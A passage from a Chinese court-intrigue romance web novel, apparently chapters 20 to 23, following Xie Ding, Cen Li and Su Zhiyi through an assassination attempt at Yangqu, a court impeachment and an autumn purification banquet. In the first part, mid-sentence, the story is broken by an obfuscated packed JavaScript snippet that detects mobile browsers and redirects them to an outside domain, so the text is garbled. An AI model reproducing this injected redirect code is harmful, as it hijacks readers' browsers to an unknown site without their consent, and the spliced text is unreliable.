他看了看安坐于旁的郦茂,又瞥了眼大逆不道、不尊上官的吴禹,最后老老实实忍气吞声地跪坐了下来。 谢定就在距几人极近的一棵树的树枝上,将这一幕尽收眼底。 阳曲郡果然出事了。 他们在搜山?这更像是寻人……寻什么人? 并没有等很久,谢定很快就看见了结果。 远远的那上山的通路下来的一行人,那道纤弱的身影在一众着甲护卫中格外醒目,让人一眼就捕捉到,起码对谢定来说如此,他一时没能控制住呼吸,好在此刻下方的人也因为这一行的归来而乱糟糟的,一时没人注意到头顶上的异状。 谢定近乎贪婪地注视着那道身影。 已经许久未见了。 除去苏府门外的那匆匆一眼,他已经好久好久都没有好好看看她了。 她好像出来得很匆忙,发丝被草草束起,上面连根素钗都没有,身上的外袍也像是随便披的,下摆还被撕掉了一块。脸上的焦心情绪不似作假,正满脸忧虑地看向身旁的……人? 在胸腔中翻涌的灼.热情绪像是被一下子冻住了,谢定僵硬地一点点将视线往旁边移动,也终于看到了岑篱的身侧。 那个腰佩白玉,再熟悉不过的男人。 他正半躺着靠在木杆搭起的简易架子上,谢定在他身上找见了那块被撕掉的衣裙下摆,就在他的旁边,交叠握住的那双手刺得人眼睛生疼。 谢定强迫自己移开视线。 然而上方的视野过于好了,连那温声关切都似乎在一片嘈杂中随着风送过来。 掌心一硌,他的手不知何时按在了短刀的刀柄上,情绪一下子变得极其冷静。 咽喉、心口、脾肺…… 目光在一个个要害上扫过,胸腔中一片冰凉,甚至能听见一下又一下平缓的心跳声。 握刀的手一点点收紧,但在动手之前,下方却变故陡生。 趁着一群人拥簇到跟前的时机,一个郡兵不知何时凑了过来,从怀中抽出一把匕首,直直地朝着苏之仪刺过去。 谢定来得及阻拦,但他为何要拦阻呢? 已经出鞘的短刀顿了顿,缓缓向回推去。 可紧接着发生的一幕却让他赫然睁大了眼。 这千钧一发的光景,竟是岑篱整个人都扑到了苏之仪身上,挡在了他的身前。 掌心的短刀顷刻间掷出,直直地扎入了行凶者的背心,谢定也跟着纵身越下,他看都没看那被刺中的行凶者,一脚把人踹开,急着声问:“你怎么样?!”/ “没事吧?” 两道声音同时响起,清朗的少年音和柔和的女声几乎重叠,问的却是不同的人。 旁边的士卒从刚才的变故反应过来,纷纷抽刀对准了谢定。 好在最里面一层都是岑氏护卫,认出了突然出现的谢定。 景九:“谢将军?” 岑篱愣住了。她疑心自己听错了,可仍旧忍不住转回头去,魂牵梦萦的面容出现在自己面前,周围的一切都像是远去。 上次这般仔细看他,似乎还是出征前的送别。 肤色比离开前深了一个度,面上的轮廓也因消瘦而变得更加清晰,若是说他离开的时候,还有些长安少年的纨绔意气,那么这会儿宛如利剑出鞘、全然是一位可以统率三军的将军了。 在这般对视之间,岑篱眼看着谢定的表情一点点柔和下去。那锐利的锋芒隐没,岑篱几乎以为下一秒,对面就要一扬唇角,笑着唤一句“阿篱”了。 然而在那之前,手突然被紧紧攥了一下。 岑篱一下子从抽离的感受中被拉回了现实,周围的一切又重新回到感知之中。 她,苏之仪,周围的阳曲郡兵。 “这位是?” 是郦茂开口询问。 岑篱定了定神,“是朝中新封的卫将军,谢怀朔谢将……” 还未说完,旁边的吴禹已经上前一步,强抑着激动开口,“可是那位深入敌营、大破匈奴的谢将军?” 谢定没有答,只是目光定定地盯着侧边。 岑篱顺着他的视线,看到了自己和苏之仪交握的手。相触处突然灼烫起来,她仓促想要往后收去,可那只手却被死死地锢在原地。 岑篱无端端想起,刚入阳曲那日,苏之仪攥住的那掾吏的长鞭。 这人并非看起来那般手无缚鸡之力。 “正是。”居然是苏之仪接过了话来。他声音温润地答了吴禹的那句话,又带着笑意转向谢定,“阳曲郡守以盗匪为名蓄养私兵,先前因并未查明,以盗匪为名上奏圣听,谢将军可是为了剿匪而来?” 谢定只觉那笑意刺目得很,直比那日宫宴上还要惹人生厌。 他暗地里磨了磨牙,压着声答:“回乡祭祖,途经此地罢了。” 手不自觉地摩挲上袖弩,心底的杀意几乎要抑制不住。 可再抬头时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266102|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却看见岑篱往前一步,挡在了苏之仪面前。 心底压抑着的戾气情绪一滞,旋即席卷成更剧烈的漩涡。 她在护着谁?! 她防备他? 谢定几乎想笑了,可是对着那张熟悉的面容,他却半分脾气都发不出来。他总是舍不得对她生气。 沉默半晌,却也只是放下了按上弩箭的手,问:“阳曲现在是什么情况?” “苏廷尉在宁县找到了倪延私自开采铜矿的证据,倪延想要毁尸灭迹,然后伪装成盗匪行事。” 谢定面无表情地点了下头。 真是可惜了,没把那姓苏的弄死…… 岑篱却神色微缓。 这闹脾气的表情实在熟悉,种种往事浮上心头,她表情不自抑地柔软下去,又轻声接上:“朝中暂时还没有消息,我调了郡中的兵力与他相抗,如今还缺了个领兵之人。” 谢定几乎下意识地,“我去!” 说完差点把舌头吞了。 瞧自个儿这不值钱的样子! 那边吴禹已经抑不住满腔激动之情,一听这话,当即阔步向前,抱拳一礼,“久闻谢将军大名!边境敌寇猖獗,屡屡袭扰我大齐疆土,将军用兵如神、率军荡涤北境,令我辈心向往之。如今有幸在将军麾下效力,某万死不辞!” 谢定:“……” 走开点,挡着我看阿篱了。 正想说点什么,外面却一阵骚动,谢定皱眉纵目望去,隐约猜出点什么。 他对旁边的吴禹,“放人进来。” 吴禹领命吩咐下去。 不多时,外围守着的士卒把人带了进来,原来是先前带人去探查周围的朱劼,后者回禀,“将军,外面有人向此处包围,看打扮像是流寇,但人数不少,也有训练过的痕迹。” 吴禹:“倪延的人!” 谢定并不意外。 能在这里发生刺杀,这郡兵中必定有倪延安插的暗桩,行军的消息早就走漏了。 似乎也意识到问题,一旁的费宽已经把头摇成了拨浪鼓,“不是我!真的不是我!!” 但这会儿没人理他。 谢定把视线投向吴禹,“你能保证多少人是你的?” 吴禹苦笑,“我虽为军司马,但也只能调兵。士卒因军法听令,但毕竟在阳曲地界上……”有多少人是郡守的真不好说。 他本也以为自己有几个亲信,但刚才那桩刺杀一出,他也不敢肯定了。 谢定深感麻烦地“啧”了一声。 应该留着刚才那人的命,审一审好歹能问出点什么。 正这么想着,他又想起点什么,豁然抬头看向岑篱。 夜色中看不分明,但仔细看去,却能看见手臂侧边,那块袖子被划了的豁口处已经渐渐濡湿。 谢定脸色微变:“阿篱?!” 岑篱顺着他的视线看过去,疼痛这才后知后觉地传来。 她抬手按住一下伤口,避开了过来的谢定,摇头:“无妨,只是小伤。” “兰君带着女医,我先让朱劼带着你回去!” 岑篱刚想摇头说不必,但想起了苏之仪身上的伤。 顿了顿,还是缓缓点头。 旁边的谢定早就安排下去了。 非只把伤员送到后方,还有派兵探查布防的种种事宜。 “朱劼你领路,带着岑氏的护卫把人送到驻营地。吴禹,我不管你用什么法子,挑出两个稳妥可信的人作为队率,各领百人……” 看着昔日的少年运筹帷幄、指挥若定的模样,岑篱又有些晃神,果真是不一样了。 20-30 第21章 岑篱曾经设想过这样的场景。 从得知谢定回来之后,她便知道会有这么一日。少年将军、功业彪炳,不知多少媒人要踏破他的门槛。 可是她却未曾想过,这一幕竟然被她亲眼目睹。 岑篱不知道自己露出了怎样的表情,以至于旁边谢兰君一副快哭出来的惶急模样。但她并未觉出什么尖锐的刺痛,只是心底好像缺了一块儿似的空落落的。 谢兰君拉着岑篱离开了那帐子。 一路走过去,岑篱的情绪也渐渐平复下来,看着谢兰君搜肠刮肚地想说话的模样,她反而先一步开口,“我说过了,我不后悔。” 既然从未后悔过做出那样的选择,就得接受它的结果。 她又接着,“你大兄他耐不住性子,家里最好还是有个……” 有个怎样的人呢? 她无从想象。 沉闷钝痛终于后知后觉地唤醒了知觉,岑篱默然良久,苦笑,“他日谢家喜宴,我就不便出席了。” 她还做不到,笑着祝贺他与另一女子共度白首。 谢兰君讷声:“……岑姐姐。” 营地外传来动静,是宁县使者飞马前来禀报情况。 岑篱借机挪开了目光,她不想在任何人的眼中显得狼狈又可怜。 马蹄踏过之处,一块碎布引起来岑篱的注意。 她不由往那边走过去,走得近了,终于看清楚那是个什么。 谢兰君:“这是……荷包?什么人丢在这里的?” 是个做工极其粗劣的荷包,才刚刚被马蹄踏过,被印了个半月形的马蹄印。沙尘扑得布料灰扑扑,连原本值得赞叹的材质都看不出来了。 岑篱认出了这个曾经的绣品。 他竟还留着。 ……他把它丢弃了。 定定地看了许久,岑篱蹲下.身去把荷包捡了起来。 她轻轻地拍打干净上面的尘土,可那个深色的马蹄印却没法这么拍掉,帛面也被沙砾碾过的勾起了丝。 终于想起了这东西的来由,谢兰君兀地止了声。 她连呼吸都放轻了。 岑篱艰难地往上扯了下唇角:“这样很好。” 既然断了,那便断得彻彻底底的。 莫要辜负日后良人的真心。 另一边,谢定还在心不在焉地应付着刘氏的喋喋不休,他习惯性地伸手进怀里,但是触手却摸了个空。谢定愣了一下,来回检查了数遍,确定袖子衣襟暗袋里什么都没有。 他霍然起身。 刘氏被唬了一跳,整个人往后仰去。 谢定却没看她,“兰君的事,就有劳叔母了,我突然有点急事,便不陪了。” 勉强客套了这么一句,他连回答都没有听,就匆匆往外走去。 * 阳曲紧接着发生了两件事。先是那被抓后的倪延万念俱灰,趁看守不备自缢了;另一件是朝中派遣官员来接手阳曲郡务,急命苏之仪入京面禀此次叛乱详情。 圣命难为,苏之仪便是有伤在身,也不好推辞。 只能加急启程往长安去。 如此一来,反倒是本来都准备动身往颍安去的谢家人先送了岑苏二人离开。 谢定当然没去送别。 他只遥遥在一个山头望着那一行人离开。 谢兰君猜到谢定去处,很容易就找到了人,“我听亲卫说,兄长昨日彻夜在外,是宁县那边还有什么事未了吗?” 谢定:“……”不是宁县的事,是他的事。 他把很重要的东西弄丢了,找了一夜也未能找到。 但看着那辘辘驶远的马车,谢定又短暂地出了一下神。 早就弄丢了,就在他人在匈奴,还心心念念地想着提亲的时候…… 谢定深吸口气,“不,没什么。” 他放他们走。 仅此一次,别让他再看见了。 * 此刻,往京城去的马车上。 苏之仪正面色苍白地靠在车厢壁上,低声解释正崇帝急诏的缘由,“我在倪延处发现了一本账册,他这些年私采铜矿所得,自己只留了极少的一部分,大部分都送了出去。” 岑篱本来心不在焉摩挲荷包的动作一顿。 把到手的利益拱手相让,倪延可不像是这么高义的,除非他本就是替什么人办事。但替何人办事能做到一郡郡守的位置?又是什么人,能让一郡郡守仍旧受其辖制? 岑篱抬头看向苏之仪:“那账册如今还在吗?” 苏之仪摇头,“原本的账册不在了。倪延的动作很快,察觉被发现之后,立刻放火烧了书房。”他又指了指自己肋下的伤处,“也便是这个时候,他决意杀人灭口。” 岑篱脸色微变。 不管是刺杀钦差、还是蓄养私兵,全是不赦的大罪。可倪延宁可冒着这个风险,也要毁灭证据,那账册绝对至关重要。 岑篱:“你说‘原本的账册’?” 苏之仪笑了笑,抬手点向自己的额间。 岑篱倒是想起来了,苏之仪任郎官时,能得正崇帝青眼,便是因为他这过目成诵之能。 “怪不得大父急诏你回京。” 苏之仪却没有这么乐观。 “倪延谨慎,那账册上只写了数额,并未记名。这事还有得查呢。” 两人说话间,马车却缓缓停.下。 苏之仪的伤处不好随意移动,岑篱撩开帘子往外看,“何事?” 景九:“回郡主,有人拦了车驾。” 因为正崇帝急诏的缘故,这次回程是御赐的车驾,走的又是官道,等闲不敢有人拦车。 岑篱往下看去,竟还是个熟人,正是那早先被从劳役处放回来的刘大牛。 虽说这刘大牛起初没说实话,但后期能找到私采的矿洞和倪延的账册多亏了他指路,也算是这一次事里的功臣。岑篱本来还猜测是不是给他的赏赐得了克扣,才逼得人在官道上拦车,却见刘大牛重重地叩了几个头,“草民谢苏廷尉厚恩。” 岑篱疑惑地看向苏之仪。 后者也适时做出讶异之色,“你这是做甚?” “廷尉厚葬我父,又替草民报了父仇。如此大恩,草民无以为报!” 岑篱先听到的“厚葬”二字,故而没有多想,但一旁的景九却心底一突。 收殓刘父的事,景九早就知道了,他更清楚苏之仪做这事绝非出自什么善意,这会儿乍一听到“报仇”,心下一震,不由自主对那倪延的死生出些疑问。 但倪延确实是自尽的。 他活着比死了的价值大得多,只不过严命看守,仍没有抵住“意外”。 不过这事没必要对刘大牛解释,苏之仪放缓了声调,温声劝了几句,直把刘大牛说的涕泗横流,不住地磕头念着“恩人”,在道旁跪着送行。 景九却觉得浑身鸡皮疙瘩都起来了。 宁县的调查,景九跟了苏之仪全程,他自然知道,苏之仪根本没在意过刘大牛的死活,几次都是在拿他试探倪延,刘大牛如今能好端端的在这儿,一大半是凭了运气。可偏偏此人这会儿还对苏之仪死心塌地、感恩戴德。 景九忍不住大着胆子看了眼岑篱。 比起来时的路上,郡主待这位苏廷尉温和亲近了许多。 景九隐隐觉得这不是件好事,但是想要开口却又不知如何说起。就事实而论,苏之仪确实帮刘大牛安葬了父亲,也帮刘大牛报了父仇……所作所为也无可指摘之处,当真是个尽职尽责为民为天子的好官。 第22章 阳曲郡私兵谋反一事本是铁板钉钉,可倪延的死却让本成定局的案子扑朔迷离起来。 也因为这个,刚一回到京城,苏之仪立刻遭到了弹劾。 御史台的侍御史上书,说是苏之仪在阳曲以钦差之名滥行不法:那倪延固然大逆不道,可正是如此重罪才该送至御前,由陛下亲自处置, 苏廷尉却以钦差之名威逼胁迫,令那倪延畏罪自尽、死无对证。 通篇暗指“阳曲之事或另有隐情,苏之仪兴许是为求个人功劳,才刻意捏造了造反一事”,最后那句“死无对证”颇为意味深长。 这份弹劾的奏表一出,众臣纷纷上书复议。 早在去阳曲之前,苏之仪已经不知处置了多少件勋贵重臣不法之事,早就在长安犯了众怒。这会儿有人牵头,多的是人愿意添一把火。 朝意如此,正崇帝也无法,只得令苏之仪暂时赋闲在家,等此事查明,再重新回廷尉属上值。 对此,苏之仪还没什么呢,一旁的五铢已经急得团团转了。 “这都什么时候了,郎君怎么还有心思读书呢?!” 苏之仪态度倒是从容。 他放下竹简,抬头看去:“不读书又干什么?” “郎君也出去交际交际啊。如今您一不能上朝二不能议事,总得有人在皇帝面前替你说两句话啊!咱陛下虽然不是个耳根子软的人,但是在他耳边说的人多了,难免心底会生成什么想法来,您也得找找自己人、帮你说说话啊!” 苏之仪颔首,“说得有理。” 五铢眼睛一亮,正待催促,却听苏之仪接着,“你看我赋闲在家这几日,有人给府上递帖子吗?” 五铢:“……” 他家郎君刚刚升任廷尉,还娶了郡主,算是半只脚踏入这长安最顶级的圈子,一开始当然也有人邀请他赴宴的,可不过两日,郎君去的那家便就因为宴中歌舞逾制被查办了;第二次,邀请的那家被查出了家中布置擢规;第三次……总归一来二去的,大家也琢磨过味儿来了,再无人敢邀请苏之仪去府邸赴宴。 如今这偌大一个廷尉府邸,陛下亲赐的宅院,门庭寂寥得还不如先前做郎官的时候。 五铢嘴唇翕动了半天,嗫嚅着,“不是小的说,郎君你做得也太过了。都说做人留一线,日后好办事。您这么把人得罪光了,又有谁敢替您说话啊?” 苏之仪却只是笑着摇头。 就是得没人替他说话。 毕竟在皇帝眼里,刀子是越干净越锋利才越好。 苏之仪正想说点什么将这话敷衍过去,那边五铢却不知想起什么,满脸恍然,“我想起来了!郎君您等着!!” 苏之仪本以为五铢又想起了什么“好主意”,却见对方匆匆走,又匆匆回来,手里端了一个陶甗。甗应当是从灶上直接端过来的,下层鬲里的水还咕嘟嘟地冒着泡,白色的热气透过上层甑往外冒。 苏之仪:“这就是你的‘想起来’?” 五铢使劲点头:“我方才差点忘了,这汤炖了好几个时辰呢。阳曲一趟,郎君又是劳心又是劳神的,还身上豁了那么大个口子,正该好好补补。这方子是我四处问的,不能用铜鍪、陶鼎的,就得用这粗陶的甗,也多亏了早些年的手艺我还没忘,不然这汤还炖不出来呢。” 苏之仪沉默了片刻,打量着眼前的陶甗。 粗泥烧制的壳子,外面是粗砺的磨砂痕迹,似乎是工匠捏制得并不精心,整个甗都往一侧略微歪斜。也确实如五铢所说的,他已经好些年没用这个粗陋的器具了。 这出神间,五铢已经麻溜儿地盛了一碗汤递到苏之仪跟前,“郎君快趁热喝。” 汤还烫着,苏之仪只略微沾了点唇。 一股说不出来的腥膻味儿冲了上来,苏之仪拧了下眉,看着碗里看不出原样的漂浮物:“是彘肉?” “哪能啊?鹿鞭牛鞭驴鞭羊鞭狗鞭,我可是跑遍了长安才集齐了这五鞭汤——” “咳咳咳!!” “唉,郎君你别吐啊!这不能倒、不能倒!您知道这鹿鞭多难买吗?我在长安的药铺里挨家挨户地问的!这东西难伺候得很,回来又是泡又是搓,光收拾就收拾了小半个时辰……” “……” “……” 小半刻钟后。 五铢终究没保下那甗汤,他蔫了吧唧地跪坐在旁边,看着旁边苏之仪的眼神充满怨念。 他苦口婆心,“郎君,你听小的一句劝,这事虽然不好往外说,但在我面前没什么可瞒着。外头的方子多了去了,您要是抹不开面,就说是小的身上有毛病,您总不能一直这么下去。您瞧瞧,洞房那一日之后,郡主让您进过房门吗?这夫妻之间,也不能老是睡书房啊!您伺候好了郡主,让她在皇帝面前多说两句,这不比别的交际管用多了……” 苏之仪忍了又忍,还是没忍住额上青筋跳了跳。 他压着气拿着竹简在石桌上敲了两下,“让你办的事办好了?” 五铢一脸“我就知道您要转移话题”的表情瞅着人,到底还是不情不愿地答,“办好了。”顿了顿,又忍不住接上,“石家也是有意思,以为拿了那万老三的家小他就不敢瞎说话了,也不想想,那万老三是个赌棍,赌上头了连自个儿婆娘都能抵出去,这样式儿的畜生真能因为念着爹娘,自己情愿去吃断头饭?” “好了,”苏之仪瞥了他一眼,让他止声,“没露行迹吧。” “放心,和栾都侯有仇的人多了去了,他不知道是咱。” 苏之仪颔首,“做得不错。” 五铢颇为得意地挺了挺胸.脯,“郎君也不瞧瞧咱是谁,当年在春涿巷,我可是走街溜巷的一把好手……” 苏之仪难得耐心地听完他一番吹嘘。 这话题就这么过去,一直等到晚间入睡,五铢才一骨碌爬起来,满脸懊恼:怎么真就被郎君牵着鼻子走了? 郎君让他办正事的时候都放心,怎么反倒这种事的时候不信他了? 人不能讳疾忌医啊!! * 苏之仪倒不是真的被免职在家。他从阳曲回来后,便将那份无名账册默写下来,呈送御前。朝中绝对有人牵扯到这账目之中,但倪延谨慎,这账册上既没有名字也没有用以标记的印章,只能等涉事者自行跳出来行动。 也是因为此,才有了正崇帝处置苏之仪的事。 ——放饵等鱼咬钩罢了。 难得偷来几日浮生闲,苏之仪可没什么去交际的兴致。 踌躇了些时日,也确实如五铢所说的,去讨好……不、去邀请岑篱出门。 “秋禊与春日的上巳相仿佛,都是洗濯祓除,只不过前者更多祈福禳灾之意。因礼志中并无定则,故而在长安并不盛行,但鲁地的风俗有此,便有许多家乡在鲁地的人自行组织了禊礼。我父还在世时,常带我去祓禊,但这几年忙于公事,许久都未去了,可巧这几日得闲,令昭可愿同往?” 岑篱也是才知道,苏之仪的祖籍在鲁地。 但这也是苏父时的事了,苏之仪自幼在长安长大,对于乡籍并不熟悉,但若说长安,却更是外乡人了。 虽无相似之处,但岑篱却想起了自己刚刚住进皇宫的那段时日。宫殿富丽、衣食华美,照料的人更是处处精心,唯恐出了差错遭到责罚,可那却并非自己的归处。 苏之仪的归处又在何方呢? 岑篱忍不住抬眼看去。 苏之仪却并未发觉自己有何不妥,只当岑篱这短暂的沉默是沉吟拒绝的意思。 他半垂了睫,掩下了眼底的失望,开口却是语气妥帖地,“是我考虑欠妥了。这几日来回奔波甚是辛劳,正该好好歇歇。” 兴许是第一次这般仔细地看眼前的人,岑篱竟注意到了那转瞬即逝的失落。 她心神一动:“不必了。已经在家歇了几日,也该出去透透气了。” 苏之仪愣了一下。 再抬头,那些微的失落如晨曦露水蒸腾,温润的笑意在脸上绽开。 岑篱心下微触,却莫名别开了目光。 苏之仪也注意到这动作。 他笑意敛了敛,但是表情还是柔软居多。 …… 有了出行前的那个插曲,到了秋禊临水之所,苏之仪下意识伸手去扶岑篱。 岑篱顿了顿,没有躲开。 苏之仪这下子当真是愣住了。 他拉着岑篱的手忘记放开,差点将人带到了男宾的酒宴之上。 眼见着再往前就要入席了,岑篱忍不 住把手往后抽了抽,却不防被攥得更紧了点。还不待岑篱说什么,一旁倒是有人经过调侃:“廷尉新婚燕尔,倒也不必这般依依不舍。” 苏之仪这才回神。 他应和了那宾客几句,掩下那懊恼的情绪,小声对着岑篱,“是之仪行事无状,冒犯郡主了。” 岑篱这下子总算能绕过酒宴往另一边的女席走,可没走出去几步,就听到旁边寻夏憋不住低笑。 她瞥过去一眼,佯怒嗔道:“你笑什么?” 寻夏可不是拾春,被这么点出来,干脆连掩饰都不掩饰了,敞敞亮亮地笑出了声,“婢是笑,刚才廷尉连眼睛都黏在郡主身上了,生怕一松手,郡主人就不见了。平素这么有条理的一个,见了郡主魂儿都要被勾走了。” 岑篱拿着手里的祭祀用的白蘋敲她,“别浑说。” 寻夏哀叫着故作讨饶。 但是等笑闹过后,她却是若有所思:被这么打趣,郡主竟也没生气? 她眨了眨眼,快走几步跟上。 她就说嘛,拾春瞎担心。这天下的男人多的是,谢小郎君虽然好,郡主又何必在那一棵树上吊死? 她看苏廷尉就挺好。 这次从阳曲回来,两人的感情明显好过从前了。 第23章 不同于男客那边的露天宴饮,女眷这边的宴饮设在一方亭子之下。 岑篱还没走近,隐隐看见亭子里有争端,但是等到进去了之后,那争执已然平复。 一个湘色裙裾的、挽着垂云髻的女子正站在中间。她眉毛疏淡、脸盘略宽,五官并无出彩之处,但拼凑在一起,莫名让人看得舒服。 这女子这会儿正站在争执的中心,语气温和地劝解着,“这秋禊荐新,本是为了向神灵敬献新果,祈福消灾。二位妹妹若是因此起了争执,可是罪过了,祭祀神灵重在诚心,妹妹心意在此,又何必拘泥于器物呢?赶巧我今日带了一个黑漆盘子,与左家妹妹想荐的栗子颜色相合,那红漆盘衬得柿子颜色好,不若委屈委屈左妹妹,用我这盘子进献?既选了这盘子,冯妹妹就少让一步,让左妹妹先献果如何?” 她这话算是全了两家的面子,两边争执的小娘子都神情一缓。 少顷,那左娘子先一步开口,“我便罢了。用李姐姐的盘子怎么能说委屈?也不必让我先,待会儿献果一同上前,我可不像某些人那么小家子气。” 那冯娘子脸色微变,眼看着又要吵起来,又被那湘衣娘子几句话安抚了下来。 这人正是谢兰君曾提过的,屯骑校尉家的长女,李妢。 确实如谢兰君说着,这位李家阿姊性子温厚。只是运道不太好、婚事上并不顺畅,几次议亲,都是男方家莫名提出退婚。虽说各自都给了说得过去的理由,但李娘子的婚事也耽搁到了现在。方才被她称呼为妹妹的两个小娘子,其中一个已经盘起了妇人发髻。 岑篱还想着这些,亭中的人已经见到了她。 当即有不少认出她的身份来,纷纷上前行礼问好。 岑篱还是第一次来这秋禊,最开始的生疏之后,倒也被拉着融入其中。来这宴饮的多是祖籍在鲁地,宴中酒令规则有所不同,岑篱并不熟悉,多亏了李妢在旁时时照应。不过即便如此,岑篱也是接连输局,短短小半个时辰间便被罚了好几杯酒下肚,不由告饶离席,暂时去外头透透气。 这边女眷都是玩得相熟的人聚在一起,倒也不全是亭子里那些。不过岑篱这会儿为了醒酒,也不欲再往人群里凑,便挑了个偏僻的地方走去。 还没来得及深入,先被寻夏拦住了,“好郡主,可不能再往里走了。这地儿太偏又没什么人,再走下去,要是出什么事便不好收拾了。” 岑篱也是脑子有点昏沉,一时没注意,经寻夏一提醒,便止住了步子。 却听前面一阵草叶窸窣,从芦苇丛里探出一个头来。 寻夏被吓了一跳,连忙跳到前面挡住。 她满脸警惕看向对面,却见出来竟是个美貌少女。 少女年岁不大,但却出落地极其标致,身姿窈窕眉眼风.流,可偏偏那一双明眸又透着一股天真的憨态,这会儿被声音惊动,眸中闪着些微怯意,更是惹人怜爱。 寻夏张了半天嘴,喃喃:“乖乖,可是河里的精怪出来了?” 少女似是怔了下,眼中的惊惧散去,扑哧一下笑出声,“姐姐可真会说话。” 岑篱倒是认出了这个人。 她曾在太官丞的院子里见过对方,少女确实长着一张让人见之难忘的脸,是那屯骑校尉家的二女儿,李奾。 “李二娘子,”岑篱淡淡地打过招呼,又道,“这地方偏僻,孤身在此多有不妥,二娘子还是早点回去罢。” 这话一落,对面脸上的笑意一下子收了。她眼圈一红,转瞬便是一副泫然欲滴的模样。 这顷刻间从惊到喜又到悲,只把寻夏看得一愣一愣的。 李奾哽着声,“郡主有所不知,非是小女不想回去,实在是不知往何处去。小女只是一妾室庶女,本没有身份来此,多亏家中嫡姐照拂,带我来了此地。可我自知身份卑怯,怎敢往诸位姐姐面前去?” 岑篱反问:“是吗?” 这不按常理出牌的反应直让李奾一愣,连那哽咽声都有一瞬的不连贯。 岑篱却没有继续搭话下去的兴致了,淡淡地点了一下头,“那便不打扰李二娘子了。” 说着,招呼了旁边寻夏离开了。 看着两道背影渐渐消失在视野范围内,李奾结结实实地懵在了原地,脸上的表情从茫然无措到渐渐扭曲:怎么会这样?! …… 另一边,寻夏也不解岑篱这反常冷淡的态度。 她苦思冥想了半天,试探着,“郡主莫气,她长得便一副心术不正的样子,哪里比得上郡主尊贵的?” 她琢磨着莫不是因为自己夸了那人长相。 以前也没见郡主在意这个啊? 岑篱瞥了寻夏一眼,“李二娘子确实貌美。” 她毕竟常常出入宫闱。正崇帝极少关注后宫,但也不妨碍皇帝宫中美人如云,可便是与那些美人相比,李奾也并不逊色,她确实生就一张极美貌的脸。 略顿了顿,她又解释,“兰君并非背地道人长短的人,能让她说一句‘被刁难’,定然是做得极过分了。” 岑篱说的是去上官丞家的榴花宴的事。但那次是拾春随行,寻夏还不知道这事。 只不过这并不妨碍她做出一脸懂了的表情点头,只是眼底的“睿智”神似某个极北之国进献的似狼神兽。 岑篱:“……” 她抬头抚额,连脸上的严肃都散了不少,“你刚才席上也见了李家大娘子了,那是个性子温厚的人,便是有人挑刺也不愿与人起争执,对席间几个家世低的小娘子也颇多照料。这么一个人,既然带着庶妹前来秋禊,会把人抛下不管?” 寻夏总算恍然,“郡主是说那李二娘子是自己跑出去的?” 岑篱颔首,又问:“刚才席间有谁提过这条路?” 她想要出去透透气,但却并非无端选的方向,必定是宴饮酒令间,有人“无意”中提起的。 说起这个话题来,连大大咧咧的寻夏表情也严肃起来。 岑篱年少时在宫中,身份尴尬却颇得帝眷,想着“偶遇”的人实在不在少数,以至于这些年过去了,她对此事还是颇为敏锐。 可即便如此,也没人会留意游戏中间的一句戏言。 两人这么思索了半天,都没忆起到底是谁提起的。 寻夏丧气:“是我不谨慎。本来以为都从宫里出来了,就不会遇到这种事了。” “只要有人的地方,这种事就免不了。我回宴上看看吧。” …… 岑篱还是没能成功找到暗示方向的那个人,反倒是又输了几局酒令,等到离席的时候已经彻底醉了,起身一个摇晃,多亏了旁边的李妢扶了一把。 寻夏连忙上前:“多谢李娘子,让奴婢来罢。” 李妢摇头,“郡主瞧着醉得不轻,你一个人不好搀扶,还是路上多个照应得好,我看郡主从东边走过来的,李家的马车也停在那边,不过是顺路。” 话都说到这样了,寻夏也不好拒绝。 道过谢之后,便由寻夏引路,两人扶着岑篱往马车方向走去。 去到了之后,才发现那边早早有人等着了。 李妢本来还以为是马车夫,但走近了才发现不对,竟是苏之仪。 再行回避来不及了,李妢索性落落大方地见了个礼,又解释了岑篱宴上饮醉了的事。 “内子不胜酒力,多谢过李娘子照料。” 岑篱这会儿已经醉得半靠在李妢怀里,眼见这李妢要把人推到苏之仪那,寻夏心里一紧:自家人知自家事,虽然洞房第二日拾春嘴巴跟个蚌壳似的,但是看苏廷尉过后一直睡书房便知,这两人绝对不是正经夫妻。寻夏虽然觉得苏廷尉算是个如意郎君,但郡主却未必愿意和对方那么亲近。 她紧赶着上前一步,却到底没能来得及,眼前着岑篱被苏之仪揽在了怀里。 大庭广众,当着外人的面,把郡主从陛下亲自主婚的夫君手上抢回来…… 寻夏脑子里只片刻转过了这个想法,就老老实实在原地站定了。 虽然总被拾春斥责为没有脑子,但她也不会真的干出这样不知轻重的事了。 李妢倒是没察觉这暗潮汹涌,只是瞧着这苏廷尉小心仔细、生怕把人摔了的动作,忍不住心下感慨:这郡主和苏廷尉当真感情要好。 刚这么想着,那已然被抱在怀中的人恰巧抬眼看了过来。 颊上是酒气熏染的温红,那双清明时冷静淡然的目光盈着朦胧水汽,弯翘着的长睫一眨,水光越发盈盈。 被这“千回百转”的目光一看,李妢的脸上一红。 她仓促地低头告了退,走出去了一段,才急急以手扇风,给自己烧红了的脸颊降着温。 按说家中有个那般貌美的妹妹,她早该习惯如此才对,可这阳嘉郡主亦是个不遑多让的美人,褪.去了平常的清丽冷淡,露出这般模样……想着,李妢刚刚降下些温度的脸又烧起来了。 好半天,她才收拾好心情,往自家马车那边走去。 却没有见到本该在的人,不由疑惑:“奾儿呢?” “回大娘子,二娘子早先来过一趟,说是这宴上没有她能说话的人,她便先回去了。” 李妢愣了下,忍不住叹气。 她这妹妹虽是貌美,但这性子实在孤僻古怪,让人不知如何对待。 若是管得狠了,她又当是嫡姐容不下她,又少不了一顿哭诉。 眼下这情况也不是第一次出现了,李妢也只按了按额角,习以为常的,“算了,由她去吧。” …… 另一边,说是早早回去的李奾,却在一装饰华丽的马车上。 她像是一株藤蔓似的,正柔弱无骨地攀在一旁的青年身上。青年气度不凡,虽未着赤黑公服,但也是浑身锦绣,腰间朱红色的绶带上挂着一枚银龟钮,竟是一位在京的藩王世子。 如此美人在怀,鲁王世子却全然无动于衷,只是问:“问出什么来了吗?” 